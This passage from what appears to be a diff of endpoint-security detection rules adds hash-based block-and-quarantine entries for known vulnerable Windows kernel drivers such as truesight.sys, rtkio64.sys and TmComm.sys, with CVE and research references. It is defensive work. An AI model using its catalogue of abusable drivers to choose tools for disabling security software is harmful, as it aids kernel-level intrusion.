+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28f8596c-8777-5e2b-a3c6-d892c40ae168",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824744Z",
+  "creation_date": "2026-03-23T11:45:31.824746Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824752Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72a3e975efe38c77ad08dfd6157441a20fb019cabc9690a8ea581ce853b3e849",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28fa2cac-d391-5fc8-9def-0d80a8681181",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827415Z",
+  "creation_date": "2026-03-23T11:45:30.827418Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55161795c5c581bdc27485517bab35b0833a77352863a78ae4f964f29eeb49ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "291fd1b8-1cae-5f23-a4a6-69e6332436bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984769Z",
+  "creation_date": "2026-03-23T11:45:29.984771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984776Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8d748834fb982fa033cd2671843de727999b21fad30979ac4acc4828910ef8b",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrIbDrv.Sys) [https://www.loldrivers.io/drivers/31797996-6973-402d-a4a0-d01ce51e02c0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "293bb433-d95d-5be9-bdd2-f9a5cceef068",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830332Z",
+  "creation_date": "2026-03-23T11:45:30.830334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4c44e3bb181ff2a7eb2bc636f8329bdc23978c99d83187da0b0c1eeb938fd07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2953ef13-5600-51a7-aed2-e4c9b852afb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486719Z",
+  "creation_date": "2026-03-23T11:45:31.486722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6464deb7e8579caa7fa5c082208afa742ac599b48b51339b55315f3e8ebf22b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2956366e-56a8-562b-a0a5-678ab3cd30b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816594Z",
+  "creation_date": "2026-03-23T11:45:30.816597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c23ac21bfcf3bd7f76d4f3b91844ab35427a1a2d3bbaf93f7916edf7569e4b22",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29691329-9ff2-51de-9ceb-2380494b9375",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498779Z",
+  "creation_date": "2026-03-23T11:45:31.498782Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7dbc0fa7f12095caae00bca5e1d9e51f226290cb993aad2f39fbc8db670a2a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "296bc7b7-fab7-519f-b93b-70a424453b25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614649Z",
+  "creation_date": "2026-03-23T11:45:29.614650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "296e8761-5546-5b82-a8a2-52deea4971fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494942Z",
+  "creation_date": "2026-03-23T11:45:31.494944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494957Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bd3d995db6fbb4593d2ade20e4003b2e27ffad6a45f0a564bd9cf4ad7a8bafd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2974722a-2640-5131-8342-0e94a05cf11d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154536Z",
+  "creation_date": "2026-03-23T11:45:31.154538Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154543Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eabb2df58b057820cc50c7dcf5d40e8a705b4b87034909f9f0e246ca01aa9e75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2977d0cd-5454-5b73-b0ae-6a5020444b22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457450Z",
+  "creation_date": "2026-03-23T11:45:30.457453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2978634e-cab4-5ea5-8389-b51d38d6e6e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819637Z",
+  "creation_date": "2026-03-23T11:45:30.819639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2203bd4731a8fdc2a1c60e975fd79fd5985369e98a117df7ee43c528d3c85958",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2983778e-2354-55fb-95c4-e8e8dda0e606",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500787Z",
+  "creation_date": "2026-03-23T11:45:31.500790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8210ad8240cda74c5f7a4a328be2182ffe3395c3dd9b0882ad801715a5387772",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29843084-aa9e-51d4-8192-c79b760012d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825529Z",
+  "creation_date": "2026-03-23T11:45:31.825531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06b0976210196e847367d79c7bdc8ca9a8c078af7b5ad20cbfc61dbc0fb267af",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29a6311c-8046-5d45-83ef-4fad95eff34a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983686Z",
+  "creation_date": "2026-03-23T11:45:29.983688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980",
+  "comment": "Vulnerable Kernel Driver (aka WCPU.sys) [https://www.loldrivers.io/drivers/7f645b95-4374-47ae-be1a-e4415308b550/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29afccbb-b875-5d92-a880-906165790491",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828278Z",
+  "creation_date": "2026-03-23T11:45:31.828281Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b63666ddf88d0b624170e3799d8bbb1013868b272a6a33d1e3228a458a17a9de",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29d15e5e-eb16-5057-8ac1-9d4207e00314",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485676Z",
+  "creation_date": "2026-03-23T11:45:31.485680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d9ea84656fca35befae97f0320a3373ceeb6001cdb296e0b7d38e9032e571b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29e421e8-c55e-5810-8506-2e050cf1abe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816191Z",
+  "creation_date": "2026-03-23T11:45:30.816193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e3bc2d7bc56971457d642458563435c7e5c9c3c7c079ef5abeb6a61fb4d52ea",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "29f5a697-7650-57d2-992f-505712953bf7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142524Z",
+  "creation_date": "2026-03-23T11:45:31.142526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "139cf28440079aa09f659a9d29a3fc5800071d69fdbe57f0a07b42ec9baa6ea4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a0b1644-6fa5-5e00-9b72-6ecfe006d24c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831036Z",
+  "creation_date": "2026-03-23T11:45:30.831038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d5f1f60a027b52eedd8c48c003f193241f492970a078c0c8d9bbc1391efd9ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a1f2b20-8cb2-556f-9148-e4225b967f66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822657Z",
+  "creation_date": "2026-03-23T11:45:31.822660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822669Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1556dd49b3de1aa42158edd10ecc67cdc395d9ee87905562ea6b080a9ed429d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a2f6431-3538-5347-809a-04ab34479b4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973861Z",
+  "creation_date": "2026-03-23T11:45:29.973863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973879Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2a3570d8-35a3-5499-a8c9-d5b09d3d2e78",
+  "test_maturity_current_count": 0,
